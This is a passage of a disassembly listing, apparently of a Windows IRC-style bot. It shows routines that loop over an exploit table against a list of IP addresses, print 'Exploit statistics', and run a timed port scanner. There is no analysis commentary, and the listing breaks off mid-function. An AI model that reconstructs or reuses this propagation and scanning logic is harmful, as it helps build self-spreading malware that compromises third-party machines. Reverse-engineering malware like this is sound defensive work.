		cmp	dword ptr [eax+4], 0
		jnz	short loc_40F255
		lea	eax, [ebp+var_740]
		push	eax
		push	ebx
		call	sub_4034DE
		pop	ecx
		mov	bl, [ebp+var_36]
		pop	ecx
		lea	eax, [ebp+var_1E8]
		and	[ebp+var_36], 0
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset dword_4181E4
		push	eax
		call	sub_4096CB
		add	esp, 10h
		mov	[ebp+var_36], bl
		push	esi
		call	dword_4120A4	; Sleep
		add	[ebp+arg_0], esi
		jmp	loc_40F192
; ---------------------------------------------------------------------------

loc_40F255:				; CODE XREF: sub_40EE23+369j
					; sub_40EE23+37Cj ...
		push	[ebp+var_4]
		call	sub_403AF7
		pop	ecx
		xor	ebx, ebx
		jmp	loc_40F0BF
; ---------------------------------------------------------------------------

loc_40F265:				; CODE XREF: sub_40EE23+2A5j
					; sub_40EE23+2C6j
		push	[ebp+var_8]
		call	sub_4114E2	; clock
		sub	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_14+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_14],	eax
		lea	eax, [ebp+var_1E8]
		fild	[ebp+var_14]
		fmul	flt_412280
		fstp	[esp+758h+var_758]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset unk_4181A0
		push	eax
		call	sub_4096CB
		push	[ebp+var_4]
		call	sub_403B2F
		push	[ebp+var_2F4]
		call	sub_406E6F
		add	esp, 24h
		xor	eax, eax
		pop	ebx

loc_40F2BC:				; CODE XREF: sub_40EE23+164j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EE23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2C2	proc near		; CODE XREF: sub_407A76+12DDp

var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_40F45C
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	loc_40F45C
		push	edi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_40F313
		push	edi
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jz	loc_40F45C

loc_40F2FB:				; CODE XREF: sub_40F2C2+87j
		cmp	[ebp+arg_C], ebx
		mov	esi, 15180h
		jz	short loc_40F35A
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_40F35D
; ---------------------------------------------------------------------------

loc_40F313:				; CODE XREF: sub_40F2C2+28j
		cmp	byte ptr dword_417D98, 0
		jz	loc_40F45C
		mov	eax, offset dword_417D98
		mov	esi, eax

loc_40F327:				; CODE XREF: sub_40F2C2+91j
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F2FB
		add	esi, 3Ah
		mov	eax, esi
		cmp	byte ptr [esi],	0
		jnz	short loc_40F327
		jmp	loc_40F45C
; ---------------------------------------------------------------------------

loc_40F35A:				; CODE XREF: sub_40F2C2+41j
		mov	[ebp+var_4], esi

loc_40F35D:				; CODE XREF: sub_40F2C2+4Fj
		cmp	[ebp+var_4], ebx
		jz	short loc_40F367
		cmp	[ebp+var_4], esi
		jbe	short loc_40F36A

loc_40F367:				; CODE XREF: sub_40F2C2+9Ej
		mov	[ebp+var_4], esi

loc_40F36A:				; CODE XREF: sub_40F2C2+A3j
		cmp	[ebp+arg_10], ebx
		mov	esi, 7D0h
		jz	short loc_40F382
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40F385
; ---------------------------------------------------------------------------

loc_40F382:				; CODE XREF: sub_40F2C2+B0j
		mov	[ebp+arg_10], esi

loc_40F385:				; CODE XREF: sub_40F2C2+BEj
		cmp	[ebp+arg_10], 32h
		jb	short loc_40F394
		cmp	[ebp+arg_10], 0EA60h
		jbe	short loc_40F397

loc_40F394:				; CODE XREF: sub_40F2C2+C7j
		mov	[ebp+arg_10], esi

loc_40F397:				; CODE XREF: sub_40F2C2+D0j
		cmp	[ebp+arg_14], ebx
		mov	esi, 100h
		jz	short loc_40F3AF
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40F3B2
; ---------------------------------------------------------------------------

loc_40F3AF:				; CODE XREF: sub_40F2C2+DDj
		mov	[ebp+arg_C], esi

loc_40F3B2:				; CODE XREF: sub_40F2C2+EBj
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F3C0
		cmp	[ebp+arg_C], 200h
		jbe	short loc_40F3C3

loc_40F3C0:				; CODE XREF: sub_40F2C2+F3j
		mov	[ebp+arg_C], esi

loc_40F3C3:				; CODE XREF: sub_40F2C2+FCj
		push	2C9h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_40F45C
		push	108h
		lea	edi, [esi+4]
		push	[ebp+arg_4]
		push	edi
		call	sub_4059C2
		push	0Eh
		lea	ebx, [esi+10Ch]
		push	[ebp+arg_8]
		push	ebx
		call	sub_4059C2
		mov	eax, [ebp+var_4]
		push	1A3h
		push	[ebp+arg_0]
		mov	[esi+11Ah], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+11Eh], eax
		mov	eax, [ebp+arg_C]
		mov	[esi+122h], eax
		lea	eax, [esi+126h]
		push	eax
		call	sub_4114D0	; memcpy
		mov	ecx, [ebp+arg_0]
		add	esp, 24h
		xor	eax, eax
		push	[ebp+arg_C]
		cmp	[ecx+18Bh], al
		push	[ebp+arg_10]
		setz	al
		push	dword ptr [esi+11Ah]
		push	ebx
		push	edi
		push	offset unk_41825C
		push	eax
		push	esi
		push	offset sub_40EE23
		call	sub_406D58
		add	esp, 24h

loc_40F45C:				; CODE XREF: sub_40F2C2+Ej
					; sub_40F2C2+19j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F2C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F461	proc near		; DATA XREF: sub_40F6CD+4Bo

var_488		= dword	ptr -488h
var_484		= byte ptr -484h
var_304		= byte ptr -304h
var_17D		= byte ptr -17Dh
var_17C		= byte ptr -17Ch
var_179		= byte ptr -179h
var_16D		= byte ptr -16Dh
var_16C		= byte ptr -16Ch
var_16B		= byte ptr -16Bh
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_149		= byte ptr -149h
var_9E		= dword	ptr -9Eh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 488h
		push	ebx
		push	esi
		push	edi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, [ebp+var_488]
		add	esp, 10h
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset unk_418308
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_484]
		push	offset dword_413F54
		push	eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		call	sub_405E4F
		add	esp, 18h
		mov	[ebp+var_10], eax

loc_40F4C8:				; CODE XREF: sub_40F461+236j
		inc	[ebp+var_C]
		cmp	off_417DC6, edi
		jz	loc_40F675
		mov	[ebp+var_4], offset dword_417D98

loc_40F4DE:				; CODE XREF: sub_40F461+20Ej
		mov	esi, [ebp+var_4]
		push	3Ah
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_15C]
		mov	[ebp+var_160], esi
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_149]
		push	eax
		call	sub_40B5E1
		mov	eax, [ebp+var_160]
		add	esp, 14h
		cmp	eax, edi
		jz	loc_40F5CF
		test	byte ptr [eax+32h], 1
		jz	loc_40F5CF
		call	sub_403338
		mov	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		add	ecx, 3
		cmp	[ebp+var_16D], 0
		mov	[ebp+var_9E], ecx
		jz	short loc_40F55B
		mov	edx, [ebp+var_160]
		test	byte ptr [edx+32h], 2
		jnz	short loc_40F55B
		push	1
		pop	ecx
		mov	[ebp+var_9E], ecx

loc_40F55B:				; CODE XREF: sub_40F461+E3j
					; sub_40F461+EFj
		cmp	[ebp+var_17D], 0
		jz	short loc_40F56D
		push	2
		pop	ecx
		mov	[ebp+var_9E], ecx

loc_40F56D:				; CODE XREF: sub_40F461+101j
		cmp	[ebp+var_17C], 0
		jz	short loc_40F57F
		push	3
		pop	ecx
		mov	[ebp+var_9E], ecx

loc_40F57F:				; CODE XREF: sub_40F461+113j
		cmp	ecx, 3
		jnz	short loc_40F5CF
		cmp	eax, edi
		jz	short loc_40F594
		mov	[ebp+var_9E], 2
		jmp	short loc_40F5CF
; ---------------------------------------------------------------------------

loc_40F594:				; CODE XREF: sub_40F461+125j
		mov	al, [ebp+var_179]
		mov	bl, [ebp+var_16C]
		and	[ebp+var_179], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_304]
		push	edi
		push	eax
		mov	[ebp+var_16C], 1
		call	sub_40EA2F
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_16C], bl
		mov	[ebp+var_179], al

loc_40F5CF:				; CODE XREF: sub_40F461+B8j
					; sub_40F461+C2j ...
		mov	cl, [ebp+var_16B]
		mov	eax, 1388h
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		add	ecx, eax
		lea	eax, [ebp+var_149]
		push	ecx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	sub_403C04
		mov	ebx, eax
		add	esp, 10h
		cmp	ebx, edi
		jz	short loc_40F665
		push	14Ch
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_40F665
		lea	eax, [ebp+var_160]
		push	14Ch
		push	eax
		push	esi
		call	sub_4114D0	; memcpy
		inc	[ebp+var_8]
		push	esi
		push	offset sub_40ECD6
		mov	[esi+3Eh], ebx
		call	sub_406C5D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F647
		push	ebx
		call	sub_403D92
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	ecx
		jmp	short loc_40F665
; ---------------------------------------------------------------------------

loc_40F647:				; CODE XREF: sub_40F461+1D4j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_304]
		push	[ebp+var_10]
		push	offset dword_4182D8
		push	eax
		call	sub_4096CB
		add	esp, 10h

loc_40F665:				; CODE XREF: sub_40F461+199j
					; sub_40F461+1AAj ...
		add	[ebp+var_4], 3Ah
		mov	eax, [ebp+var_4]
		cmp	[eax+2Eh], edi
		jnz	loc_40F4DE

loc_40F675:				; CODE XREF: sub_40F461+70j
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_413F54
		push	edi
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	eax, edi
		mov	eax, [ebp+var_488]
		jz	short loc_40F69D
		cmp	[eax+4], edi
		jz	loc_40F4C8

loc_40F69D:				; CODE XREF: sub_40F461+231j
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset dword_418294
		push	eax
		call	sub_4096CB
		push	[ebp+var_488]
		call	sub_406E6F
		add	esp, 18h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F461	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6CD	proc near		; CODE XREF: sub_407A76+709p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_40F725
		push	327h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F725
		push	180h
		lea	eax, [esi+4]
		push	[esp+8+arg_4]
		push	eax
		call	sub_4059C2
		push	1A3h
		lea	eax, [esi+184h]
		push	[esp+14h+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 18h
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	esi
		push	offset sub_40F461
		call	sub_406D58
		add	esp, 10h

loc_40F725:				; CODE XREF: sub_40F6CD+6j
					; sub_40F6CD+17j
		pop	esi
		retn
sub_40F6CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F727	proc near		; DATA XREF: sub_40F7FD+29o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3BC]
		push	offset aExploitStatist ; "Exploit statistics - "
		push	eax
		call	sub_4114B8	; _mbscpy
		xor	ebx, ebx
		add	esp, 18h
		cmp	byte ptr dword_417D98, bl
		jz	short loc_40F7D2
		push	esi
		mov	esi, offset dword_417D98
		mov	eax, esi

loc_40F773:				; CODE XREF: sub_40F727+A8j
		push	12h
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 18h
		lea	eax, [ebp+var_3BC]
		push	dword ptr [esi+2Ah]
		push	offset dword_41835C
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_3BC]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		cmp	[ebp+var_21], bl
		jz	short loc_40F7C8
		mov	[esi+2Ah], ebx

loc_40F7C8:				; CODE XREF: sub_40F727+9Cj
		add	esi, 3Ah
		mov	eax, esi
		cmp	[esi], bl
		jnz	short loc_40F773
		pop	esi

loc_40F7D2:				; CODE XREF: sub_40F727+42j
		lea	eax, [ebp+var_3BC]
		mov	[ebp+var_20], bl
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_4096CB
		push	[ebp+var_1BC]
		call	sub_406E6F
		add	esp, 0Ch
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40F727	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7FD	proc near		; CODE XREF: sub_407A76+746p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F833
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	esi
		push	offset sub_40F727
		call	sub_406D58
		add	esp, 10h

loc_40F833:				; CODE XREF: sub_40F7FD+10j
		pop	esi
		retn
sub_40F7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F835	proc near		; DATA XREF: sub_40F908+AFo

var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_1B0		= byte ptr -1B0h
var_1AA		= dword	ptr -1AAh
var_1A6		= byte ptr -1A6h
var_E		= byte ptr -0Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2B4h
		push	esi
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		call	sub_4114E2	; clock
		push	[ebp+var_1AA]
		mov	esi, eax
		lea	eax, [ebp+var_1B0]
		push	0
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_403C04
		add	esp, 20h
		test	eax, eax
		jz	short loc_40F8B7
		push	eax
		call	sub_403D92
		pop	ecx
		call	sub_4114E2	; clock
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		lea	eax, [ebp+var_1A6]
		push	offset dword_418408
		push	eax
		call	sub_4096CB
		add	esp, 14h
		jmp	short loc_40F8F5
; ---------------------------------------------------------------------------

loc_40F8B7:				; CODE XREF: sub_40F835+4Dj
		cmp	[ebp+var_E], 0
		jnz	short loc_40F8F5
		call	sub_4114E2	; clock
		sub	eax, esi
		cmp	eax, [ebp+var_1AA]
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		jb	short loc_40F8E1
		push	offset dword_4183D0
		jmp	short loc_40F8E6
; ---------------------------------------------------------------------------

loc_40F8E1:				; CODE XREF: sub_40F835+A3j
		push	offset dword_4183A0

loc_40F8E6:				; CODE XREF: sub_40F835+AAj
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_4096CB
		add	esp, 10h

loc_40F8F5:				; CODE XREF: sub_40F835+80j
					; sub_40F835+86j
		push	[ebp+var_2B4]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40F835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F908	proc near		; CODE XREF: sub_407A76+1021p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40F9C4
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_40F924
		mov	ebx, offset a80	; "80"

loc_40F924:				; CODE XREF: sub_40F908+15j
		push	ebx
		call	sub_41151C	; atoi
		test	eax, eax
		pop	ecx
		jz	loc_40F9C4
		cmp	eax, 0FFFFh
		ja	loc_40F9C4
		cmp	[ebp+arg_C], 0
		jz	short loc_40F951
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		mov	edi, eax
		jmp	short loc_40F956
; ---------------------------------------------------------------------------

loc_40F951:				; CODE XREF: sub_40F908+3Aj
		mov	edi, 0EA60h

loc_40F956:				; CODE XREF: sub_40F908+47j
		test	edi, edi
		jz	short loc_40F9C4
		cmp	edi, 36EE80h
		ja	short loc_40F9C4
		push	2B1h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F9C4
		push	100h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4059C2
		push	6
		lea	eax, [esi+104h]
		push	ebx
		push	eax
		call	sub_4059C2
		push	[ebp+arg_0]
		lea	eax, [esi+10Eh]
		mov	[esi+10Ah], edi
		push	eax
		call	sub_40457C
		add	esp, 20h
		push	ebx
		push	[ebp+arg_4]
		push	offset dword_418438
		push	0
		push	esi
		push	offset sub_40F835
		call	sub_406D58
		add	esp, 18h

loc_40F9C4:				; CODE XREF: sub_40F908+Aj
					; sub_40F908+25j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40F908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9C9	proc near		; DATA XREF: sub_40FBA7+169o

var_2E0		= qword	ptr -2E0h
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2C8h
		push	ebx
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		push	[ebp+var_1BC]
		mov	ebx, [ebp+var_1C4]
		call	sub_40396E
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40FA1D
		push	[ebp+var_2C8]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40FBA2
; ---------------------------------------------------------------------------

loc_40FA1D:				; CODE XREF: sub_40F9C9+3Fj
		movzx	eax, word ptr [ebp+var_1C4+2]
		push	esi
		push	edi
		push	[ebp+var_1BC]
		push	eax
		movzx	eax, word ptr [ebp+var_1C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_2C8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B8]
		push	offset dword_4184A8
		push	eax
		call	sub_4096CB
		mov	esi, dword_4120A4
		add	esp, 1Ch
		cmp	[ebp+var_20], 0
		mov	edi, 3E8h
		jnz	short loc_40FA6C
		push	edi
		call	esi	; Sleep

loc_40FA6C:				; CODE XREF: sub_40F9C9+9Ej
		call	sub_4114E2	; clock
		and	[ebp+var_8], 0
		mov	[ebp+var_4], eax

loc_40FA78:				; CODE XREF: sub_40F9C9+10Dj
					; sub_40F9C9+186j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40FB54
		cmp	bx, word ptr [ebp+var_1C4+2]
		ja	loc_40FB54
		lea	eax, [ebp+var_10]
		push	0Ah
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		inc	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], ebx
		push	0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_403B44
		add	esp, 0Ch
		push	eax
		call	sub_403996
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FAD8
		cmp	bx, word ptr [ebp+var_1C4+2]
		jbe	short loc_40FA78

loc_40FAD8:				; CODE XREF: sub_40F9C9+104j
		push	[ebp+var_1C0]
		call	esi	; Sleep
		push	[ebp+arg_0]
		call	sub_403A1B
		test	eax, eax
		pop	ecx
		jz	short loc_40FB43

loc_40FAED:				; CODE XREF: sub_40F9C9+178j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40FB43
		push	[ebp+arg_0]
		call	sub_403AB5
		test	eax, eax
		pop	ecx
		jz	short loc_40FB43
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40357F
		pop	ecx
		mov	bl, [ebp+var_20]
		pop	ecx
		lea	eax, [ebp+var_10]
		inc	[ebp+var_8]
		and	[ebp+var_20], 0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_418494
		push	eax
		call	sub_4096CB
		add	esp, 10h
		mov	[ebp+var_20], bl
		push	edi
		call	esi	; Sleep
		jmp	short loc_40FAED
; ---------------------------------------------------------------------------

loc_40FB43:				; CODE XREF: sub_40F9C9+122j
					; sub_40F9C9+12Ej ...
		push	[ebp+arg_0]
		call	sub_403AF7
		mov	ebx, [ebp+var_14]
		pop	ecx
		jmp	loc_40FA78
; ---------------------------------------------------------------------------

loc_40FB54:				; CODE XREF: sub_40F9C9+B9j
					; sub_40F9C9+C6j
		push	[ebp+var_8]
		call	sub_4114E2	; clock
		sub	eax, [ebp+var_4]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C4]
		fild	[ebp+var_4]
		fmul	flt_412280
		fstp	[esp+2E0h+var_2E0]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset unk_418458
		push	eax
		call	sub_4096CB
		push	[ebp+arg_0]
		call	sub_403B2F
		push	[ebp+var_2C8]
		call	sub_406E6F
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi

loc_40FBA2:				; CODE XREF: sub_40F9C9+4Fj
		pop	ebx
		leave
		retn	4
sub_40F9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBA7	proc near		; CODE XREF: sub_407A76+7BAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40FD1D
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_40FD1D
		cmp	[ebp+arg_C], 0
		jnz	short loc_40FBCC
		mov	[ebp+arg_C], eax

loc_40FBCC:				; CODE XREF: sub_40FBA7+20j
		push	eax
		call	sub_41151C	; atoi
		mov	edi, eax
		pop	ecx
		test	edi, edi
		mov	[ebp+arg_8], edi
		jz	loc_40FD1D
		mov	esi, 0FFFFh
		cmp	edi, esi
		ja	loc_40FD1D
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jz	loc_40FD1D
		cmp	ebx, esi
		ja	loc_40FD1D
		push	2B3h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_40FD1D
		cmp	edi, ebx
		jbe	short loc_40FC2A
		mov	[ebp+var_4], edi
		mov	[ebp+arg_8], ebx

loc_40FC2A:				; CODE XREF: sub_40FBA7+7Bj
		cmp	[ebp+arg_10], 0
		mov	edi, 7D0h
		jz	short loc_40FC43
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40FC46
; ---------------------------------------------------------------------------

loc_40FC43:				; CODE XREF: sub_40FBA7+8Cj
		mov	[ebp+arg_C], edi

loc_40FC46:				; CODE XREF: sub_40FBA7+9Aj
		cmp	[ebp+arg_C], 0
		mov	ebx, 0EA60h
		jz	short loc_40FC56
		cmp	[ebp+arg_C], ebx
		jbe	short loc_40FC59

loc_40FC56:				; CODE XREF: sub_40FBA7+A8j
		mov	[ebp+arg_C], edi

loc_40FC59:				; CODE XREF: sub_40FBA7+ADj
		cmp	[ebp+arg_14], 0
		mov	edi, 100h
		jz	short loc_40FC72
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40FC75
; ---------------------------------------------------------------------------

loc_40FC72:				; CODE XREF: sub_40FBA7+BBj
		mov	[ebp+arg_10], edi

loc_40FC75:				; CODE XREF: sub_40FBA7+C9j
		cmp	[ebp+arg_10], 0
		jz	short loc_40FC84
		cmp	[ebp+arg_10], 200h
		jbe	short loc_40FC87

loc_40FC84:				; CODE XREF: sub_40FBA7+D2j
		mov	[ebp+arg_10], edi

loc_40FC87:				; CODE XREF: sub_40FBA7+DBj
		push	edi
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		mov	ax, word ptr [ebp+arg_8]
		add	esp, 0Ch
		cmp	[ebp+arg_C], ebx
		mov	[esi+104h], ax
		mov	ax, word ptr [ebp+var_4]
		mov	[esi+106h], ax
		ja	short loc_40FCB5
		mov	ebx, [ebp+arg_C]

loc_40FCB5:				; CODE XREF: sub_40FBA7+109j
		mov	eax, 200h
		mov	[esi+108h], ebx
		cmp	[ebp+arg_10], eax
		ja	short loc_40FCC8
		mov	eax, [ebp+arg_10]

loc_40FCC8:				; CODE XREF: sub_40FBA7+11Cj
		mov	ebx, [ebp+arg_0]
		lea	edi, [esi+10Ch]
		push	1A3h
		push	ebx
		mov	[edi], eax
		lea	eax, [esi+110h]
		push	eax
		call	sub_4114D0	; memcpy
		movzx	eax, word ptr [esi+106h]
		add	esp, 0Ch
		push	dword ptr [edi]
		push	eax
		movzx	eax, word ptr [esi+104h]
		push	eax
		lea	eax, [esi+4]
		push	eax
		xor	eax, eax
		cmp	[ebx+18Bh], al
		push	offset dword_4184F0
		setz	al
		push	eax
		push	esi
		push	offset sub_40F9C9
		call	sub_406D58
		add	esp, 20h

loc_40FD1D:				; CODE XREF: sub_40FBA7+Bj
					; sub_40FBA7+16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FBA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD22	proc near		; CODE XREF: sub_40FEB8+234p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, offset dword_413B5C
		push	eax
		push	esi
		push	edi
